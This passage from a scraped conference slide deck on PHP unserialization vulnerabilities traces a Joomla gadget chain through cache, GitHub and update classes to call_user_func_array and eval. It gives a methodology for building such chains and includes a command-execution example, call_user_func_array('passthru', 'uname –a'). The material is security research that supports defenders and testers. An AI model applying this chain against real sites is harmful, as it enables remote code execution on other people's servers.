/*** Executes a cacheable callback if not found in cache else returns cached output and result** @param mixed $callback Callback or string shorthand for a callback* @param array $args Callback arguments* @param string $id Cache id* @param boolean $wrkarounds True to use wrkarounds* @param array $woptions Workaround options** @return mixed Result of the callback** @since 11.1*/public function get($callback, $args = array(), $id = false, $wrkarounds = false, $woptions = array()){
…$result = call_user_func_array($callback, $Args);…
}
get #4 - JCacheControllerCallback extends JCacheController
![Page 91: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/91.jpg)
call_user_func_array as an endpoint
• Trivial if we control both args:call_user_func_array(‘passthru’, ’uname –a’)
• Near trivial if we control just first arg:call_user_func_array(array($object, $method_name),$args)
![Page 92: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/92.jpg)
public function get($gistId){
// Build the request path.$path = '/gists/' . (int) $gistId;
// Send the request.$response = $this->client->get($this->fetchUrl($path));
…}
protected function fetchUrl($path, $page = 0, $limit = 0){
// Get a new JUri object using the api url and given path.$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('api.username', false)){
$uri->setUser($this->options->get('api.username'));}…return (string) $uri;
}
get #17 - JGithubGists extends JGithubObject
![Page 93: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/93.jpg)
public function get($property, $default = null){
if (isset($this->metadata[$property])){
return $this->metadata[$property];}
return $default;}
get #24 - JLanguage
![Page 94: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/94.jpg)
api.url=“x:///” + api.username=“arbitrary” ->
$this->fetchUrl(..) = “arbitrary@”
![Page 95: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/95.jpg)
public function get($gistId){
// Build the request path.$path = '/gists/' . (int) $gistId;
// Send the request.$response = $this->client->get($this->fetchUrl($path));
…}
protected function fetchUrl($path, $page = 0, $limit = 0){
// Get a new JUri object using the api url and given path.$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('api.username', false)){
$uri->setUser($this->options->get('api.username'));}…return (string) $uri;
}
get #17 - JGithubGists extends JGithubObject
![Page 96: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/96.jpg)
elseif (strstr($callback, '::')){
list ($class, $method) = explode('::', $callback);$callback = array(trim($class), trim($method));
}…elseif (strstr($callback, '->')){
/** This is a really not so smart way of doing this...
…list ($object_123456789, $method) = explode('->', $callback);global $$object_123456789;$callback = array($$object_123456789, $method);
}
JCacheControllerCallback – callback string shorthand
![Page 97: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/97.jpg)
Variable variables
$a = ‘b’
$b = ‘c’
$$a = $($a) = $b = ‘c’
![Page 98: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/98.jpg)
elseif (strstr($callback, '::')){
list ($class, $method) = explode('::', $callback);$callback = array(trim($class), trim($method));
}…elseif (strstr($callback, '->')){
/** This is a really not so smart way of doing this...
…list ($object_123456789, $method) = explode('->', $callback);global $$object_123456789;$callback = array($$object_123456789, $method);
}
JCacheControllerCallback – callback string shorthand
![Page 99: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/99.jpg)
$id = $this->_makeId($callback, $args);$data = $this->cache->get($id);
if ($data === false){
$locktest = $this->cache->lock($id);…
}
if ($data !== false){
$cached = unserialize(trim($data));$result = $cached['result'];
}else{
$result = call_user_func_array($callback, $Args);}
JCacheControllerCallback – cache and callback logic
![Page 100: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/100.jpg)
• call_user_func_array doesn’t error on a non-existent method
• We can use a proxy gadget to get past the “lock” method
![Page 101: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/101.jpg)
public function __call($name, $arguments){
$nazaj = call_user_func_array(array($this->cache, $name), $arguments);return $nazaj;
}
Proxy gadget - JCacheController – __call
![Page 102: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/102.jpg)
public function get($id, $group = null){
$data = false;$data = $this->cache->get($id, $group);
…
if ($data !== false){
$data = unserialize(trim($data));}
return $data;}
get #7 - JCacheController
![Page 103: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/103.jpg)
$id = $this->_makeId($callback, $args);$data = $this->cache->get($id);
if ($data === false){
$locktest = $this->cache->lock($id);…
}
if ($data !== false){
$cached = unserialize(trim($data));$result = $cached['result'];
}else{
$result = call_user_func_array($callback, $Args);}
JCacheControllerCallback – cache and callback logic
![Page 104: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/104.jpg)
There’s nothing to stop us following the same path twice• On the first pass we globalise $result and retrieve it from the cache
• On the second pass we use $result as the object in the callback
We can now call an arbitrary method on an arbitrary object
![Page 105: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/105.jpg)
public function _startElement($parser, $name, $attrs = array()){
array_push($this->stack, $name);$tag = $this->_getStackLocation();
// Reset the dataeval('$this->' . $tag . '->_data = "";');…
}
protected function _getStackLocation(){
return implode('->', $this->stack);}
JUpdate – _startElement
![Page 106: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/106.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 107: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/107.jpg)
500
![Page 108: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/108.jpg)
public function get($gistId){
// Build the request path.$path = '/gists/' . (int) $gistId;
// Send the request.$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.if ($response->code != 200){
// Decode the error response and throw an exception.$error = json_decode($response->body);throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);}
get #17 - JGithubGists extends JGithubObject
![Page 109: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/109.jpg)
![Page 110: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/110.jpg)
![Page 111: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/111.jpg)
Take aways
Developers• Think very carefully before using this type of function
Testers / Researchers• Test for and find this type of issue
• Exploit it – it’s fun!
![Page 112: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/112.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 113: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/113.jpg)
Questions?